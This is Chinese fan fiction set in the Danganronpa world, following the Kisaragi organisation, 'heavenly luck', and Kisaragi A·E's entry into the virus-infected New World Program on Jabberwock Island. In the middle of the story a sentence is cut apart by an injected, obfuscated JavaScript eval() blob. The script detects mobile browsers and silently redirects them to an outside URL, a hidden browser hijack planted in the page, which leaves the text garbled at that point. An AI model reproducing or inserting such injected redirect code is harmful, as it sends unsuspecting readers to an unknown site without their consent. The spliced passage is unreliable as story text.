如月调试着几个设备,头也不抬地问着。 “非常好……能重新站起来走路真是太好了。” 金城跺跺脚,久违地感受到来自大地的平稳。此前要么一直坐着,要么支着拐艰难地行走,被压坏的腿部神经肌肉没怎么恢复,倒是臂肌练大了一圈。“刚才和山口试着打了打,所幸还算熟练,不至于落败,只是力量还是太差了。” “我说你啊,别刚好一点就作死啊?” 如月敲了他一脑壳。“这只是个辅助装置,不代表你真的恢复行走能力了,这你得记住。给你把启动装置安在轮椅上,也是为了方便应急。千万别给我作死。” “我真的知道……” “你知道就不会到处乱跑了,”铭苅不知从哪窜出来,“如月,这里有一个不好不坏的消息。喏,苗木,你跟他说吧。” 如月接过铭苅手里的……改造后的中微子通讯仪(其实它根本没坏),后者叹口气踱步到金城的轮椅旁:“借我坐一会,累死了。” “啊,好。待会记得还我。” “……你什么时候学会的开玩笑。” “大概是283天以前。” “……” “嗯嗯……啊,好,”如月在那边挠了挠头,满地溜达的金城凑过去:“怎么样?” “先等等……啊我在听,苗木,你说……” 上原打开门走进来:“剑,祷让我来找你去做训练……啊,看来不需要了,打扰了。” “上原你留在这儿,”铭苅招招手,想了想又摇摇头:“算了,去把美佳子叫来,一会儿可能有大事。” 如月回过头比了个ok:“啊……A·E怎么说,我是说我们那个……” 金城皱起眉抱起胳膊:“发生什么事了,铭苅?” “……我不好说,但是我建议你们这几个长脑子的一起探讨一下。对了,金城,我建议你找个地方坐一下。” “嗯?” “好,好吧。保重。”如月放下通讯仪,叹了口气:“有关贾巴沃克岛和新世界程序的事情……阿剑你那腿快没电了。” 金城应声啪嗒一下倒在地上。 “……我知道对于各位来说未来机关绝对不是可以合作的对象了。因此这件事………以后再说吧。” 如月叹气,摘下帽子支着下巴。 “至少……我们上次得到了很惨痛的代价。” 上原抬起手若有所思。那根钉子在他手上留下了伤疤,很重的伤疤,像是在警示他。 “……毕竟是绝望残党,他们很懂得让人崩溃的方式。”铭苅用笔敲敲眼镜,“而如果问题不得到解决,他们重回世间,我们此前对抗绝望的一切努力都会白费。” 金城默不作声,黑川则重重地叹了口气:“无论哪次与未来机关扯上关系,似乎都得不到什么愉快的体验………他们为什么总是能捅出娄子呢。” 如月机关的决策层一齐看向手中的情况汇报。 在绝望残党,也就是希望之峰77届生全部捕获后,未来机关第十四支部将他们送去了未来机关的一个基地,贾巴沃克岛,而后将他们送进新世界程序准备进行希望重育计划……但谁也没想到,新世界程序已经被病毒侵入了。 “江之岛盾子的Ai。”苗木如此告诉他们,“我们经历过的自相残杀事件正在重演,在程序世界中。不二咲同学留下的Alter Ego和如月机关送来的如月A·E,以及程序内正在工作的「老师」和「观察员」都在努力工作着寻找排查Ai侵入点,但是到现在为止几乎一无所获。” 自相残杀。绝望的高中生的自相残杀。 如月烦躁地抓起头皮。 第三次了。这是第三次了。 “植入江之岛盾子Ai后,黑白熊会自主按规则组织进行自相残杀,并通过每个人的才能、经历,做出每个人的处刑剧本,也就是Ai做好了每个人成为凶手的准备。” 说完这话时平良抬起头:“在座的各位都不例外,甚至包括我自己……和虚空大人。处刑场的位置,其实是固定的开放场所,在垃圾处理站上方——这一点是参照了希望之峰校园内的布局,在苗木大人的处刑上大家已经见过了——每个处刑的工具都准备好了。在确认凶手之后,对应的处刑工具会随Ai指挥自动就绪,然后……” “我很好奇我的处刑是什么。”上原闭上眼,“事实上我也没法想象……” “钉在十字架上,带着荆棘的头冠,随后倒插在泥土里。” 平良简短地说。上原抬起头眯着眼看她,而后摇摇头叹气:“你一定知道倒十字架是魔鬼的象征。” “这就是处刑。为凶手赋予的绝望的毒酒。”平良叹气,“强制金城大人犯罪出逃,让冷酱被粉笔穿刺身体,用驱魔的方式炸掉美佳子,让客人向我点出一个微笑然后活活绞死……我能记得的就是这些,连我自己都无法想象……这就是江之岛盾子Ai的恐怖之处,这是人脑无法企及的绝望。而在虚拟的程序世界中,制备处刑工具的部分会被几串代码代替,因此或许会更加残忍恐怖……” “你没说我啊。”如月戴上帽子,“是忘记了?还是说……” “……” 平良像以往一样,挤出勉强的微笑。 “您忘记了?在虚空大人一开始的计划里,如月大人就从来没有活着成为凶手的可能。” “那恐怕是因为就算是虚空也认为大和拥有足够的凝聚力吧。”上原说。 “……说到这个。”金城忽然想起来什么,“苗木有没有说……77届生里,目前是否有出现能像他一样领导众人的带头者?” “似乎是有的……但那是更不可思议的事情。”如月苦笑,“他的名字我们根本没见过,但是我相信大家都对他非常熟悉了。” “……谁?”黑川皱起眉。 “日向同学,” 背着猫咪形状背包的女孩,身形娇小但声音坚定。“日向同学,我们是时候把事件……从头到尾回顾一次了。” 日向创回过神。 ……无论是发疯的狛枝还是失去理智的花村,还是已经死去的十神,还是这次修学旅行该死的自相残杀………是时候回顾一次了,如果不这么做,一切事情都不会在此了断!! 你在走向希望的方向吗? 你会想起过去的绝望吗? 昨天的世界已经充满了预定调和,你能穿透摸不到的未来吗? “所以到最后,”牧叹着气戳戳刚剪好的短发,“还是决定要往那边送人了?” “剑算是工伤,赔偿什么的总得让他们负责。”上原解释道,“但是这次无论如何都不许单独行动了。平良,你来解释。” 平良拢了拢头发:“这是在得知了虚空大人曾帮助的孩子们如今聚在一起生活后才得出的结论。这是几天前我们收到的来自一位记者的信,他很聪明,直接相信了天运,把信放在凤超市里了。从这里……我也知道了更多关于虚空大人、关于天运的事情。” “那家伙真是……不知道该说什么。”比嘉抠着耳朵说,“明明已经死了,却还这样……” “而且……”平良垂下头,“说不定有件事我们从一开始就想错了……先看信吧,诸位。” 读卖瘫倒在沙发上,伸手去抓茶几上的可乐,不出意料地被幕之内一巴掌打到一边:“不许喝了,都说了碳酸饮料最不健康………” “我可能知道虚空大人的下落了。” “……什么?!” 这一声来自楼上的两个女孩。真行路日拽着虹上嗒嗒嗒嗒走下楼梯,连瑜伽的衣服都没来得及换:“头儿你是什么意思?虚空大人的下落?!” “我遇到了如月机关的机关长。我们真是……为什么没想过呢,”读卖疲惫地从愣住的幕之内手里夺回可乐,“突然出现并迅速壮大、甚至可以与未来机关媲美的如月机关,偏偏选择地下工作,几乎完全掩饰了自己的存在和做出的一切贡献,这是为什么?他们有不得不隐瞒的信息,除此以外我什么也想不到了。” “那,那和虚空大人,”虹上喘着粗气说,“有什么、什么关系……” “你是说虚空大人在如月机关?”幕之内睁大眼睛,“可是如果这样……为什么我们的天运衰落了?我们聚在一起不就是为了加强天运吗?” “我他妈不是这个意思。”读卖烦躁地摇摇头,“我大概能确定……如月机关现在掌握着天运。我是说,至少有一个极强的天运持有者在其中,而且每个人都或多或少拥有一点天运……而多数人聚合在一起的时候天运会加强,这点我们已经证实了。” “那,虚空大人……” “只能确定他与如月机关的所有人关系匪浅,但是大概率已经不在了。”读卖了口可乐,“幸运的是天运并未继续衰落……仅仅衰落的这一点,就让那些获得极少天运的倒霉蛋付出了生命。” “我觉得我们有必要和如月机关联系一下。”真行路日说,“至少……我可以认为他们现在决定着我们的生死吧。” “……要是他们掌握的天运也消失了,我们可就真的完蛋了。”幕之内挠挠头发说,“不知道为什么有种被人揪着后颈皮的感觉很糟糕……” 虹上小声呜咽着说:“那我们……跟他们联系的话……他们不是连地址都不公开吗……” “总有办法的。”真行路日皱着眉说,“我会去查一查。最近几天四处爆发的绝望事件恐怕都有如月机关的踪影,我们可以去寻找在那之后作出不寻常举动的……单位。” “哦?”读卖抬眼瞟她,“这么说大明星有头绪?” “不能说有头绪,只是想起了一些事情……”真行路日敲敲脑门,“你们能想出来吗?和如月机关同期恢复运营的什么大企业?或者某天忽然一下重新恢复秩序的?” “我,我倒是……” 虹上探出脑袋,左右看了看,又胆怯地缩回去。 “你说吧,虹上。” “我想出来一个……之前我一直……有在那里买画具……但是绝望爆发的时候它……后来又……” “快点!!” “凤超市!!!” 平良放下信件,望向默不作声的众人:“虽然我对此非常抱歉……但是希望大家明白,我们的命运已经与天运交织在一起了。而且……我之前说过的一些结论,或许是时候纠错了。” 谁也没说话,只是带着复杂的眼神看着她。平良叹了声气,说出自己的结论: “虚空大人……是将天运转移给了我,但在那之前,他许下了「所有人都要活下去」的愿望,也就是将完整的天运赋予了每个人。因此,如月机关强烈的、几乎完整的天运,事实上来自于除了我以外的十四名「天运持有者」的天运叠加。” “能听明白吗?”铭苅转头看向大家,“没听懂的话,我来解释一下。” 说罢,她像往常每一次一样,作为一名“老师”向众人讲解: “虚空在死前将自己的天运分成了十五份,十四份赋予了我们———除了平良的79届生,内容是「活下去」;分出这些后,虚空许下最后一个愿望:「将自己的天运转移给平良」。这样一来,我们成了「天运持有者」,按照写信的那个读卖的话说,就是「虚空的孩子」——这个称呼真恶心——而平良则成了「天运」本身,说是半个虚空也不为过。而除了虚空以外的所有79届生………” “只要我们现在聚在一起,就能组成一个完整的「虚空」。” 平良点点头。“而如果不聚在一起,分散行动的话……我身上的天运已经被削弱了很多,诸位的天运则来自已死的虚空大人。虚空大人死后,曾被他拯救的那些得到了天运的孩子们……” 铭苅打断了她,干脆得出结论:“不一同行动将天运叠加,就有大概率死。” “需要证据的话,我就是。”金城拍拍自己的腿,“单独行动,而后险些死掉。况且虚空的愿望是让我们「活下去」……残废也能活下去,植物人也能活下去。” 如月撑着桌子站起身。“事已至此,我想大家已经明白了……命运迫使我们成为一家人,我们能做的只有稳固好这个家了。所以大家,” 他眯起眼呲着牙笑,以此掩盖自己的无奈: “大家一定要好好活着,好吗?” “我只希望少爷一个人活着。” 说出这句话时背着竹刀的少女笑的更凄惨了。 “可是我……我需要的从来不是工具……我从来都不需要工具……” 与少女形成对比的,则是一旁泣不成声的□□少年。黑白熊倒是不介意他们多说些什么,毕竟处刑总是要处刑的。 日向创愣愣地看着他们。 “我想要的………一直只有佩子你而已啊!!!” 海与罚。罪与椰子。 人的情感会凌驾于生命之上吗? 会为了让他人的生命得到延续、自愿放弃自己吗? 如果有这样的可能…… 如果人的意志能凌驾于注定的命运…… 小桥川打开机舱钻进去,熟练地调整好周围的按钮和眼花缭乱的操纵杆,而后向客舱里大喊一声:“喂喂!都快点,抓紧时间做好准备,给那轮椅拴紧咯!” “知道了知道啦,晴彦亲就是话多。”五月绑好安全带嘟着嘴说。“菖蒲亲!后面好了没?” 波多乃比了个“ok”的手势,随后想到驾驶舱看不见后面的景象,便大喊:“好了!比嘉和金城还有上原都坐好了!” “好嘞!做好起飞准备!” 地面上的如月和黑川看着直升机的螺旋桨发出轰鸣,而后渐渐升上云天——这个场景已经见到了很多次,见怪不怪了。 “你觉得他们能和未来机关沟通好吗,大和君?” “嗐,我哪知道。”如月苦笑,“不过有金城和上原在,胜算能大一些……走吧,咱还有更重要的事情要干呢,美佳子。” “嗯……贾巴沃克岛的事情吧。” “是啊。”如月转过身,向基地内走去。 然后他很快发现黑川没跟上来。如月回过头,同时听见了女孩惊恐的呼唤: “大……和君,我……我………” 他看见她的眼睛里流出血,而后捂住嘴瘫倒在地;血从七窍流出,他发现自己在尖叫。 “美佳子啊—————————” “出了些事故好像……总之……好像没电了……不应该呀……” “……恐怕是天运影响到了。” “罢了,已经够了。” 女人摘下眼镜,瞟了一眼一旁的青年:“现在呢,只等着A·E回来就可以继续了,是吗?” “恐怕没那么容易了。桥本先生那边我在联系……被虚空大人选中的那个倒霉蛋已经找到了,只要再加点钱就能绑架了……” “三王寺,虽然我无法理解人的情感……但是这不代表你不是个疯子,你清楚吧?” “……关于这一点,黑……光目小姐,你也一样。” 三王寺帝向她伸出手。 “为了研究情感,不惜利用亲生女儿……光目小姐,您知道如果我们被抓住了会是什么样的下场吧。” 光目心抽回手,面无表情地戴回眼镜。 “不用担心,我们一定会……被抓住的。” “吱嘎———” 走廊上坐了一大排的众人连忙站起来,看着打开门默不作声地走出的如月,便知道事态不妙。 “………到底怎么了……”友利打破沉默。 “……一个嵌在大脑内部的装置,安藤医生叫来的几个脑外科专家正在帮忙取出来,这种情况连祷都只能当帮手。”如月尽可能使自己的声音听上去冷静了一些,但还是抑制不住恐惧的颤抖。“那东西与她的大脑如此严丝合缝………医生们说简直像是刚出生就被植入了这么个东西一样,到现在都没脱离生命危险。” 铭苅皱起眉:“我记得你说美佳子是和你一起长大的?” “……我四五岁的时候我爸从河边捡到了她。那时候她只记得自己的名字,然后我爸就把她当养女一直养着了……” “也就是说此前她的一切经历你们都不知道。” “我爸当然查过,但是她连政府的户口登记都没有……一切都几乎是空白的,剩下的只有名字。” “……等那个东西被取出来再说吧。” 如月点点头,双腿一软瘫坐在地上。凤和山口连忙去扶,被他摆摆手谢绝了,自己撑着地愣愣地走到一旁的长椅上坐好:“贾巴沃克岛……我们还去吗……” “原来准备入侵系统的人选是你和美佳子,现在肯定不行了啊。”牧叹息,“我们……我们也没什么把握耍嘴皮子耍过江之岛盾子……” “那就不去了……” “哪里也不要去了。这说不定是「天运」的保护。”平良说,“已经离开的那些人……至少一起行动一定不会有性命之虞;美佳子虽然突然被查出有那种东西……但是说不定能因此排查隐患,从而保住性命……” “闭嘴吧平良茜,”如月忽然暴起,走上前掐住平良的衣领,“我告诉过你,我不会忘记你做过的一切,你害死了多少人你心里有数,就算那之后你救过我和所有人也改变不了死人再也无法复生的事实。你杀了研究所里的所有员工,还想过杀了我们所!!你说让我相信什么狗屁天运,你倒是给我看看啊!!美佳子要死了啊!!!!你不是说天运之下谁都不会死吗!!!!” “如月!!!冷静!!!!”铭苅大喊。正在这时手术室的门再次打开了,所有人停止争执或正要制止争执,一齐向门口看去。 安藤医生走出来,摘下口罩叹声气:“坏消息是虽然完全的扫描结果已经出来了,但是我们暂时没法把它取出来,脑内环境太脆弱了,这里的环境暂时还是不允许;好消息是,黑川小姐并无大碍,只是被电磁干扰了一下,接下来休息几天就好。” “扫描结果给我!!!” “如、如月先生,不要急……您太激动了。” 平良理了理领口:“「天运」就是这样。” 如月应声回头看向她。 “无论您相信与否,它都在那里。” 日向创倒在床上。 连续的神经刺激和饥饿让他几乎疯掉了。大家的精神状态都不是很好,每天早上还得去打那个破太极拳…… 日向一点也不想出门。出门后无论是哪边,刺目的色彩鲜艳的墙壁都让人眼球疲劳。 但是……但是……但是有什么东西发出了巨响……… 罢了,罢了………无论如何,还是得出去……… 总不能一直待在房间里…… 日向挣扎着坐起来。 不久后,他和同伴们在闪着诡异的绿色的刺目的光的房间里发现了被改造为机械的同伴的、支离破碎的尸体。 绝境下的人会是什么样子? 谁知道会是什么样子…… 真的有人愿意为了他人付出生命的代价吗? 这边的会有这样的破局之人吗? 就算是极度绝望……也会有人坚持着理智吗? 如果那样……算不算是不无聊的未来呢? “没想到啊,世事无常,再与您相见,您比我这个老头子还先坐下了。” 天愿和夫拍着金城的肩膀,毫无恶意地呵呵笑着。“金城同学真是……哎呀,世事无常啊。” “能再看见您我们很荣幸。”上原说,“但是也请您记住,这可是应未来机关邀请前去塔和市支援才受的伤。” “啊——真是辛苦了,金城同学,上原同学。” 看着老爷子走出电梯,推着轮椅的比嘉忍无可忍:“切!皮笑肉不笑的死老爷子。为啥不直接走啊剑,给他们看看如月机关硬科技可不是盖的。” “不是时候呢,别急。”小桥川耸耸肩,“况且……不是刚接到紧急情况了嘛,还得请求一下帮助解析黑川的那个………东西。” “有求于人,再怎么说也得放低姿态了。”波多乃叹气,“也不知道美佳子能不能熬过来……没想到那时候影响她的不只是记忆恢复装置,还有那种东西……!!” “哎呀菖蒲亲!!” “啊!!对不起!!” 上原无奈地撇了撇刘海,让它们不挡住自己的视线。“我们要接着坐电梯到最顶层是吗,这电梯怎么这么长……” 电梯门应声打开,门里和门外的人都愣了一下,而后五月快活地扬起手:“是十六夜先生!” “喂喂小夜,这是怎么回事?” “……不认识。似乎之前合作过,但不认识。” 对于金城和上原来说,这对情侣也不是什么陌生人了。金城率先开口:“光宏,给他们让下地方。” “哦呀?”安藤流流歌蹦进电梯,一脸兴奋地看向他,“这不是金城警官嘛?哈哈,没想到这么久不见已经成了个残废了!” “我说你给我放尊重点,丫头,”比嘉皱起眉做好动手准备,却被小桥川拦下:“啊哈哈……别见怪。好久不见十六夜先生,最近怎么样?” 十六夜惣之助扬起下巴:“不错。你呢,小桥川先生?” “非常不错。” “那我警告你们一下:想要继续过不错的日子,最好老实一点。明白吗,金城……还有伊良波。” “诶?”五月歪歪脑袋,被小桥川护在身后。 上原闭上眼叹气:“不用您说,十六夜先生。我们会在主的指引下做正确的事情。” “最好是这样。” 这是一场梦。 你想醒来吗?这是一场梦。 黑川美佳子猛地睁开眼睛。她发现自己在下沉,胸前的紫色珠子和头发一起飘起来,在面前飘摇着。 ……下沉? 她伸出双手,拼命地想要抓住什么。然后她发现自己在水里,冲着越来越黑暗的水底沉去。 至少……至少先找到光的方向,有光的方向应该是水面,至少先浮到水面……… 她拼命转过身,而后看见了被血浸染的海水。 ………血?! 在惊慌失措中,她看清了离自己最近的那个「物件」的样貌。她不可能忘记的样貌。不可能忘记的人。 然后是不可能忘记的……… 这是一场漫长的梦。 是梦吗?梦怎么可能如此清晰?梦怎么可能有痛觉?梦为什么会如此真实? 她抓住自己的头发,却抓住了一团血肉模糊。她颤抖着将手伸到面前,看见夹杂着血和脑浆的什么东西从指间漏出流下。 你在做梦。 她连忙将目光投向更遥远的地方,顺着光的方向。她看见了很多熟悉的面孔,记忆支零破碎地刺进裸露的大脑,令她心碎,令她窒息。 金色的头发飘起的无辜的女孩。头颅几乎碎裂的男孩。被刺穿喉咙的女孩。被粉碎身体的女孩。烧焦到看不出来原貌的女孩。保护了别人却被割下头颅的男孩。想要拯救别人却一无所获的男孩。实现至死不渝的浪漫的男孩。带来生的希望的女孩。 还有……… 快点从梦里醒来吧。 她感觉有人在掐着她的喉咙。支零破碎的刺痛的记忆缠住她,要将她拉入水底,她伸出手下意识求救,却想起面前的熟悉的朋友们都已经死掉了。 而后耳畔响起谁人的声音: “我最难过的,是死去的凤不会因此怪罪我们。” “79期的铭苅冷已经不在了。79期的金城剑也已经不在了,你知道吧。” “是啊……都不在了。” “都不在了啊………!!!!!!!” 不要,不要这样,她伸出手想抓住谁,我们活下来了,我们不是好好地活下来了吗,为什么我会看到这些,为什么,为什么?!?! 因为你在做梦。 因为这才是真正的结局。 因为在千兆分之一的可能性下你们活了下来,而剩下的千兆分之九百九十九兆九千九百九十九亿九千九百九十九万的情况下,希望之峰学园的79期生无一生还。 因为这才是「真正」的结局。 因为你们如今经历的一切都像是从未存在的梦。 所以快点醒来吧。 只有这个结局里,会有人等着你醒来啊。 伸出的手被谁人抓住了。她睁大眼睛,而后天旋地转。再次拥有清醒的意识时,最想见到的人正紧紧抓着她的手憋出笑容。 “终于睡醒了啊,懒虫美佳子。” 因为只有在这个「梦境」里,你们才能得到幸福的结局啊。 日向创不想看到如此这般的场面。 他最不想看到这种场面。 “呐,日向同学,”七海千秋微笑着歪过头,温柔地笑。“说出来吧?你认为那个混在大家中间的叛徒是谁?说出来吧?” 为什么要对着以绝望为名的希望微笑? 日向努力忍住哭腔,最终还是没能憋得住,索性爆发出来:“为什么……为什么啊………” 为什么总是抱着一眼就能看见尽头的希望不放? “………” 七海温柔地笑着,长长的袖子几乎盖住了手,轻轻放在胸口。 “拜托你了,日向同学。” 为什么永远抱着希望?为什么? “是你……吗?” “请、请等一下!”裁判席上的黑白美急忙试图打断,却被黑白熊一巴掌拍过去。七海难过地侧过头,而后却笑眯眯地转回来: “哎呀,猜对了!非常遗憾,非常正确。” 为什么要放弃自己? 为什么永远如此温柔如此从容? 为什么要放弃自己的生命? 为什么……… “哎呀,黑白美,已经够了。” 七海轻轻拉开还要用残破的身体与黑白熊同归于尽的小兔子,一如既往温柔地笑着。“那个,不是要你放弃哦,而是要相信大家……之后就交给大家啦。” “但、但是……” “好吗?” “……” 为什么要相信?为什么要相信注定绝望的未来? 为什么要相信绝望的人的选择? 为什么不愿意放弃希望? 为什么明明知道绝望早已浸透却仍然抱着希望? 为什么…… “没问题的。光辉的「未来」无论何时都会为大家展开的………” “真的哦!绝对哦!因为……” “因为我绝对知道。” 日向创猛地睁开眼睛。 什么也不想去想。什么也不愿意去想。 而世界在崩塌。 出了门以后遇到了七海啊……她说索尼娅在工厂发现了那个笔记本电脑,就是狛枝曾留下讯息的那个…… 大家都在餐厅,围在那个电脑旁边……田中说是他先发现的,也真是懒得理他,还是先打开看看好了,虽然狛枝那张臭脸实在是…… “要彻底完蛋了……黑白熊几乎完全侵入了系统,两个管理员的数据也几乎消亡了……” “我这边……走后门将我们的数据输进去了。你那边怎么样?还能撑多久?” “我在努力骇入黑白熊的程序系统,还差一点点就好了……诶?你要干什么……?” “我在想,如果是我爸在这儿,他会怎么做。” 如月A·E向小姑娘样貌的程序员微笑。“如果是他……他一定会振奋着将所有人拉回希望。不二咲……和你合作很愉快。你是个和你父亲一样坚强的……人。” “如月?!”不二咲A·E的程序告诉他这家伙要干他想象不到的事情,反射般决定阻拦,“你干什么?现在以数据形态进入程序的话,你会……” “我会因为黑白熊的阻断无法与外界联系,就像兔美和七海千秋一样。”但是那又怎样?有人做到过类似的事情,那么我也一定能做到。“我被冠以如月之名,当然不会侮辱这个姓氏。我拥有我老爸的智慧,还有整个如月机关的期望……记得给我拷贝一份备份,我爸我妈还要接我回家呢!” 数据构成的如月A·E在新世界程序的代码的海洋中纵身一跃。他知道自己并不是真正意义上的“人”,也不是完整的“如月大和”,甚至作为非专业人士编写的程序他连完整的A·E都算不上。 可惜啊…… 被冠上如月之名,便无畏于任何困苦。 “叫我,超高校级的希望………” 日向创呆呆地看着屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908407|176831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕。11037?通向未来的讯息?那是什么?他又在发什么癫? “那我们就快走吧,是那边的遗迹对吧?”小泉撸起袖子叉着腰,一如既往如此活力。 “嗯,那就快走吧。”七海也点点头,“既然是那座遗迹的话……” 啊……那就快去吧…… 违背命运的存在会在某一瞬间影响到未来的命运。世界的结果不会改变,但毫无疑问的确促进了些什么…… “请等一等!!!” 原本已经熄灭的电脑屏幕上忽然出现一个少年的面孔。日向在回头的瞬间发现周围的七海也好田中也好小泉也好都一齐倏然消失,直到那时他才想起他们早就死了。 ……为什么? “太好了,赶上了!!” 屏幕中的少年长着陌生的面孔,至少对于剩余的几人来说陌生得不得了——整整齐齐的短发覆盖着相当帅气的脸庞,看上去没什么害处。 “啊……可以把我拉出去吗?虽然听上去很奇怪。”少年向屏幕外伸出手,日向觉得他在盯着自己。“请拉住我的手……哦对了,你们叫我A·E也行如月也行———我叫如月A·E。” ……… 这一切简直太离谱了。 自称如月A·E的少年出现在电脑屏幕上冲外面的人说话。日向创鬼使神差地向他伸出手结果拉出来一个实体。身边的四人刚从死去的伙伴复活又消失的震惊中回过神就再次瞳孔地震。 太离谱了。 “呼———脚踏实地真舒服,”自称如月A·E的少年兴奋地跺跺脚,“虽然我一定很吓人,但是你们听我说,我是来帮你们的,贾巴沃克岛马上要炸了真的。” “………啊?” “呃……是我说的太快了吗?”少年尴尬地挠挠头,“呃那就从自我介绍开始……我是如月机关制造的Alter Ego,原型是机关长、超高校级的发明家如月大和。简单来说,我是应未来机关请求来新世界程序帮忙稳定外部硬件系统的,结果突然进了病毒就临时来软件这边干活了……等等,你们是不是还不知道自己在哪啊?” “………啊?” 谁会相信一个突如其来出现的满嘴跑火车的小鬼啊,尤其是这种不明所以的情况下……左右田和九头龙对视一眼点点头,一人一边准备锁住自称如月的少年;然而索尼娅一巴掌打上左右田的脑瓜:“先等一等!不要使用暴力!” “索尼娅小姐?!这家伙可是从电脑里钻出来的贞子啊!!” “我不是鬼!!” “那你也不是人!!!” “先等一等!” 索尼娅义正词严地叉起腰大喊,气势给日向和终里都震了一下。 “不知道为什么……我觉得我们应该听他说一说,我们刚才不是也看见了吗,明明已经死去的大家突然出现了……而且,”索尼娅向A·E迷惑地看去,“我总觉得您有些面熟……?我们在哪里见过吗?” “至少你没见过我。” “………我也觉得有点熟悉,”终里拍拍脑袋,“说不出什么感觉,像是见过,但是绝对没见过。” “……这话说的真是太不自相矛盾了。” “其实我觉得现在发生什么都不算离谱了……”九头龙低下头叹气,“毕竟狛枝和七海,还有兔美都……” 日向迷茫地看向自称A·E的少年:“所以你要干什么……?” “我会带你们了解一切真相。” 来遗迹的路上被A·E告知了不少令人恍惚的真相……包括但不限于“人类史上最大最绝望事件”,“新世界程序”,未来机关对他们的保护,但对自己来源的那个“如月机关”却几乎只字不提,只说是未来机关的援助…… 这些对于几人来说像做梦似的云里雾里。 “我记得你说你的制作人也是超高校级?”左右田问,“也是希望之峰的学生吗?” “啊,是!”A·E说,“希望之峰第79届生,超高校级的发明家如月大和。” “79届?我们可是77届的新生。” “都说了你们被新世界程序消除了记忆啦……具体的先不着急,时间紧迫,我们去遗迹里说。” 未来机关的遗迹……按照狛枝留下的讯息,那个密码应该是“11037”…… 日向输入密码,轰响声中大门缓缓移开。A·E挡在几人身前,警惕地打量着四周,确认了没什么威胁,挥着手示意大家跟上。 “这里是……裁判场?” 终里惊叹着扶住头,困惑地看着周围。其余几人快步跟上,还在迷茫的时候A·E便重重地叹了一口气:“果然啊……时间被调整了,已经来不及了……” “……来不及了是什么意思?”日向不知所措。 “字面意思,来不及了。”A·E眯起眼,“好在我侵入了系统,预料的崩塌应该不会出现……” “崩塌?!” “但是……你们会陷入一段时间的意识模糊……” 不知道是不是错觉,A·E的身影和声音都逐渐出现了卡顿和模糊;世界逐渐天旋地转,眼前的景象如同程序bug一样渐渐瓦解掉落,同伴们张着嘴要说什么话,但一切很快消失在崩落的世界中。 奇怪的是,就算是世界已经陷入黑暗,意识也渐渐模糊,有谁的声音依然清晰可辨: “不用害怕!!我会带着你们……找到希望!!” 世界如此无聊。 一切的一切都能在预定调和中得以预言。 但是…… 至少在这种可能性下,有人入侵了注定的结局。 有人改写了命运。 神座出流站起身,背对着滔滔不绝烦人的家伙。狭窄逼仄的船舱里他只能勉强站起来,而后他低下头,看着一直攥在手心的那枚发卡。 那个同样对世界绝望的人,用自己的生命为代价,为世界创造了新的可能性。在新的命运中,许多注定的事情会被改写。 那个人改变了这个无聊的世界。 所以……… 神座出流看向舷窗外。碧蓝的海洋上镶嵌着绿色的岛屿。 能不能让我看看啊……「希望」的「未来」。 日向创打开虚空中的大门。 无论如何首先打开门。 无论如何首先打开门吧……… 没有想象中刺目的光,没有进一步的黑暗与虚无,取而代之的是教室。 ……教室??? 我是和大家一起去了未来机关的遗迹……然后打开了那扇门……然后走进了一个类似裁判场的地方……接下来的记忆突然消失了,像是被谁抽掉了一样…… 努力整理思路的日向创听见谁人的呼唤。 “喂,日向。” 他求助般抬起头,看见了自称如月A·E的少年。他站在桌子与桌子之间抱起双臂,板着脸严肃地看着他。就在日向还想问什么的时候,A·E身后的黑白熊广播响起了: “啊啊,真是可恶,真是可恶呢,如月同学!!” “再见到你真是恶心,黑白熊。” A·E转过身,不再理睬一脸茫然的日向。“你这个混球……又一次视人命如草芥的不要脸的绝望。” “真是太可恶了………”屏幕里的黑白熊亮出爪子,发出恶毒的诅咒,“真是太可恶了呢,如月同学!明明你是最不应该活下来的,明明在本校长的剧本里从来就不该有你存活的可能!!” “尽情咒骂吧。”A·E眯起眼,“如月大和是就算死去也会给你们这些绝望当头一棒的人!!” “唔噗噗噗噗噗……这次可不会让你逃脱了………哎呀,光顾着想着杀死如月同学,险些忘了被晾在一边的日向同学呢!现在由本校长来向日向同学说明一下「毕业考试」的规则吧!!” 日向这才想起来继续惊讶。他的脑子突然被灌进太多信息,一时间无法理解。 “隐瞒事实这么久,非常抱歉,但请相信我们真的有足够的理由。”如月大和叹气,“因为……虽然很不可思议,但是我们的确活在一条几乎不可能发生的时间线里。” “……我相信你们。”苗木的声音一如既往地沉稳温顺,“必须要承认,如月A·E的出现的确第一次使黑白熊慌了神。他将一切事实直接告诉了程序中现在存活的77届生们,这明显在黑幕的预料之外,无论黑幕是谁,毫无疑问他已经乱了阵脚。” “但是我仍然要谴责你们的隐瞒。”雾切颇为不满的声音传来,“江之岛盾子Ai和学园自相残杀游戏,这么重要的事情为什么不告诉我们?我相信你们有自己的理由,但我们和你们一样希望对方坦诚相待。” “……因为这个原因涉及到了命运的变动。我这么说你们肯定不信……但天运的确如此无赖。我本来不希望我们再去影响什么事件了。” “……你应该也知道吧,在那场自相残杀中你本来就是要死的。就像战刃骸。就像兔美。” “我当然知道。”如月哑然失笑,“我从一开始就知道。” 苗木轻轻叹气。 “我们马上要进入新世界程序了。有什么话要带给A·E吗?” “嗯………” 到了关键时候,反而挤不出骚话了。如月苦笑,将通讯仪递给还躺在床上的黑川:“美佳子,你说吧。” “……永远不要放弃希望。”她轻轻说,“请相信在这里谁都不会跌入绝望,我们永远有后路,因为如月机关的大家是同生共死的家人。” “也就是说,加上77届生如今经历的,一共有三届学生经历过自相残杀,”日向创说,“首先是混入超高校级的绝望外部干事的79届生,在如月机关附属的研究所里被囚禁、迫使自相残杀,目的是为江之岛盾子组织的78届生自相残杀累积经验;结果是主谋临时改变心意,79届生全员逃脱,并在如月大和领导下建立了现在的如月机关。由于……由于到现在都不能直说的原因,如月机关一直隐瞒着以上事实,并坚持地下行动、铲除绝望。” 